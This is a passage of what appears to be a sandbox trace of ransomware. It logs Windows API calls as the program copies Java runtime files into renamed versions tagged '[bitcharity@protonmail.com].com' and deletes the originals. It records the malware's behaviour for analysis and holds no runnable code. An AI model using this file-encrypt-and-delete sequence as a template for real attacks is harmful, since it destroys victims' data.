lpNumberOfBytesWritten=0x347fc94*=0x13a50, lpOverlapped=0x0) returned 1 [0298.957] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.957] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xea, lpOverlapped=0x0) returned 1 [0298.957] SetEndOfFile (hFile=0x10e0) returned 1 [0298.957] CloseHandle (hObject=0x10e0) returned 1 [0298.957] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.957] SetEndOfFile (hFile=0x10b0) returned 1 [0298.959] CloseHandle (hObject=0x10b0) returned 1 [0298.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0298.959] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 1 [0298.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0298.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0298.996] lstrlenW (lpString=".doc") returned 4 [0298.996] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0298.996] lstrlenW (lpString=".docx") returned 5 [0298.996] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0298.996] lstrlenW (lpString=".pdf") returned 4 [0298.996] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0298.996] lstrlenW (lpString=".xls") returned 4 [0298.996] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0298.996] lstrlenW (lpString=".xlsx") returned 5 [0298.996] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0298.996] lstrlenW (lpString=".ppt") returned 4 [0298.996] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0298.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0298.996] lstrlenW (lpString=".zip") returned 4 [0298.996] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0298.996] lstrlenW (lpString=".rar") returned 4 [0298.996] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0298.996] lstrlenW (lpString=".bz2") returned 4 [0298.996] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0298.996] lstrlenW (lpString=".7z") returned 3 [0298.996] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0298.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0298.996] lstrlenW (lpString=".dbf") returned 4 [0298.996] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0298.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0298.996] lstrlenW (lpString=".1cd") returned 4 [0298.996] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0298.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0298.996] lstrlenW (lpString=".jpg") returned 4 [0298.996] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0298.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0298.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0298.997] lstrlenW (lpString=".doc") returned 4 [0298.997] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0298.997] lstrlenW (lpString=".docx") returned 5 [0298.997] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0298.997] lstrlenW (lpString=".pdf") returned 4 [0298.997] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0298.997] lstrlenW (lpString=".xls") returned 4 [0298.997] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0298.997] lstrlenW (lpString=".xlsx") returned 5 [0298.997] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0298.997] lstrlenW (lpString=".ppt") returned 4 [0298.997] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0298.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0298.997] lstrlenW (lpString=".zip") returned 4 [0298.997] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0298.997] lstrlenW (lpString=".rar") returned 4 [0298.997] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0298.997] lstrlenW (lpString=".bz2") returned 4 [0298.997] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0298.997] lstrlenW (lpString=".7z") returned 3 [0298.997] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0298.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0298.997] lstrlenW (lpString=".dbf") returned 4 [0298.997] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0298.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0298.997] lstrlenW (lpString=".1cd") returned 4 [0298.997] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0298.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0298.997] lstrlenW (lpString=".jpg") returned 4 [0298.997] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0298.997] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0298.998] lstrlenW (lpString="javafx_font_t2k.dll") returned 19 [0298.998] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0298.998] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=538176) returned 1 [0298.998] CloseHandle (hObject=0x10b0) returned 1 [0298.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 0x20 [0298.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.998] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0298.998] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.999] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.999] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0298.999] GetLastError () returned 0x0 [0298.999] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x83640, lpOverlapped=0x0) returned 1 [0299.098] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x83650, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x83650, lpOverlapped=0x0) returned 1 [0299.106] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.106] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xfa, lpOverlapped=0x0) returned 1 [0299.107] SetEndOfFile (hFile=0x10e0) returned 1 [0299.107] CloseHandle (hObject=0x10e0) returned 1 [0299.107] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.107] SetEndOfFile (hFile=0x10b0) returned 1 [0299.111] CloseHandle (hObject=0x10b0) returned 1 [0299.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.112] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 1 [0299.112] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0299.112] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0299.112] lstrlenW (lpString=".doc") returned 4 [0299.112] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.112] lstrlenW (lpString=".docx") returned 5 [0299.112] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0299.112] lstrlenW (lpString=".pdf") returned 4 [0299.112] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.112] lstrlenW (lpString=".xls") returned 4 [0299.112] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.112] lstrlenW (lpString=".xlsx") returned 5 [0299.112] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0299.112] lstrlenW (lpString=".ppt") returned 4 [0299.112] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.112] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0299.112] lstrlenW (lpString=".zip") returned 4 [0299.112] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.112] lstrlenW (lpString=".rar") returned 4 [0299.112] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.112] lstrlenW (lpString=".bz2") returned 4 [0299.112] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.113] lstrlenW (lpString=".7z") returned 3 [0299.113] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0299.113] lstrlenW (lpString=".dbf") returned 4 [0299.113] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0299.113] lstrlenW (lpString=".1cd") returned 4 [0299.113] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0299.113] lstrlenW (lpString=".jpg") returned 4 [0299.113] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0299.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0299.113] lstrlenW (lpString=".doc") returned 4 [0299.113] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.113] lstrlenW (lpString=".docx") returned 5 [0299.113] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0299.113] lstrlenW (lpString=".pdf") returned 4 [0299.113] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.113] lstrlenW (lpString=".xls") returned 4 [0299.113] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.113] lstrlenW (lpString=".xlsx") returned 5 [0299.113] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0299.113] lstrlenW (lpString=".ppt") returned 4 [0299.113] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0299.113] lstrlenW (lpString=".zip") returned 4 [0299.113] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.113] lstrlenW (lpString=".rar") returned 4 [0299.113] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.113] lstrlenW (lpString=".bz2") returned 4 [0299.113] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.113] lstrlenW (lpString=".7z") returned 3 [0299.113] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0299.114] lstrlenW (lpString=".dbf") returned 4 [0299.114] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0299.114] lstrlenW (lpString=".1cd") returned 4 [0299.114] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0299.114] lstrlenW (lpString=".jpg") returned 4 [0299.114] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.114] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.114] lstrlenW (lpString="jawt.dll") returned 8 [0299.114] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0299.114] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=14400) returned 1 [0299.114] CloseHandle (hObject=0x10b0) returned 1 [0299.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 0x20 [0299.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.115] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0299.115] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.115] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.115] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0299.115] GetLastError () returned 0x0 [0299.115] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x3840, lpOverlapped=0x0) returned 1 [0299.165] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x3850, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x3850, lpOverlapped=0x0) returned 1 [0299.166] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.166] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xe4, lpOverlapped=0x0) returned 1 [0299.166] SetEndOfFile (hFile=0x10e0) returned 1 [0299.166] CloseHandle (hObject=0x10e0) returned 1 [0299.169] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.169] SetEndOfFile (hFile=0x10b0) returned 1 [0299.170] CloseHandle (hObject=0x10b0) returned 1 [0299.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.170] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 1 [0299.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0299.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0299.171] lstrlenW (lpString=".doc") returned 4 [0299.171] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.171] lstrlenW (lpString=".docx") returned 5 [0299.171] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0299.171] lstrlenW (lpString=".pdf") returned 4 [0299.171] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.171] lstrlenW (lpString=".xls") returned 4 [0299.171] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.171] lstrlenW (lpString=".xlsx") returned 5 [0299.171] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0299.171] lstrlenW (lpString=".ppt") returned 4 [0299.171] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0299.171] lstrlenW (lpString=".zip") returned 4 [0299.171] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.171] lstrlenW (lpString=".rar") returned 4 [0299.171] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.171] lstrlenW (lpString=".bz2") returned 4 [0299.171] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.171] lstrlenW (lpString=".7z") returned 3 [0299.171] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0299.171] lstrlenW (lpString=".dbf") returned 4 [0299.171] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0299.171] lstrlenW (lpString=".1cd") returned 4 [0299.171] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0299.171] lstrlenW (lpString=".jpg") returned 4 [0299.171] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0299.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0299.171] lstrlenW (lpString=".doc") returned 4 [0299.171] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.171] lstrlenW (lpString=".docx") returned 5 [0299.171] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0299.172] lstrlenW (lpString=".pdf") returned 4 [0299.172] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.172] lstrlenW (lpString=".xls") returned 4 [0299.172] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.172] lstrlenW (lpString=".xlsx") returned 5 [0299.172] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0299.172] lstrlenW (lpString=".ppt") returned 4 [0299.172] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0299.172] lstrlenW (lpString=".zip") returned 4 [0299.172] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.172] lstrlenW (lpString=".rar") returned 4 [0299.172] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.172] lstrlenW (lpString=".bz2") returned 4 [0299.172] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.172] lstrlenW (lpString=".7z") returned 3 [0299.172] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0299.172] lstrlenW (lpString=".dbf") returned 4 [0299.172] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0299.172] lstrlenW (lpString=".1cd") returned 4 [0299.172] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0299.172] lstrlenW (lpString=".jpg") returned 4 [0299.172] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.172] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.172] lstrlenW (lpString="jfr.dll") returned 7 [0299.172] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0299.173] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=26688) returned 1 [0299.173] CloseHandle (hObject=0x10b0) returned 1 [0299.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 0x20 [0299.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.173] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0299.173] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.173] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.173] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0299.173] GetLastError () returned 0x0 [0299.173] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x6840, lpOverlapped=0x0) returned 1 [0299.192] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x6850, lpOverlapped=0x0) returned 1 [0299.193] ReadFile (in: hFile=0x10b0, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.194] WriteFile (in: hFile=0x10e0, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xe2, lpOverlapped=0x0) returned 1 [0299.194] SetEndOfFile (hFile=0x10e0) returned 1 [0299.194] CloseHandle (hObject=0x10e0) returned 1 [0299.194] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.194] SetEndOfFile (hFile=0x10b0) returned 1 [0299.195] CloseHandle (hObject=0x10b0) returned 1 [0299.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.195] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 1 [0299.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0299.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0299.195] lstrlenW (lpString=".doc") returned 4 [0299.195] lstrcmpiW 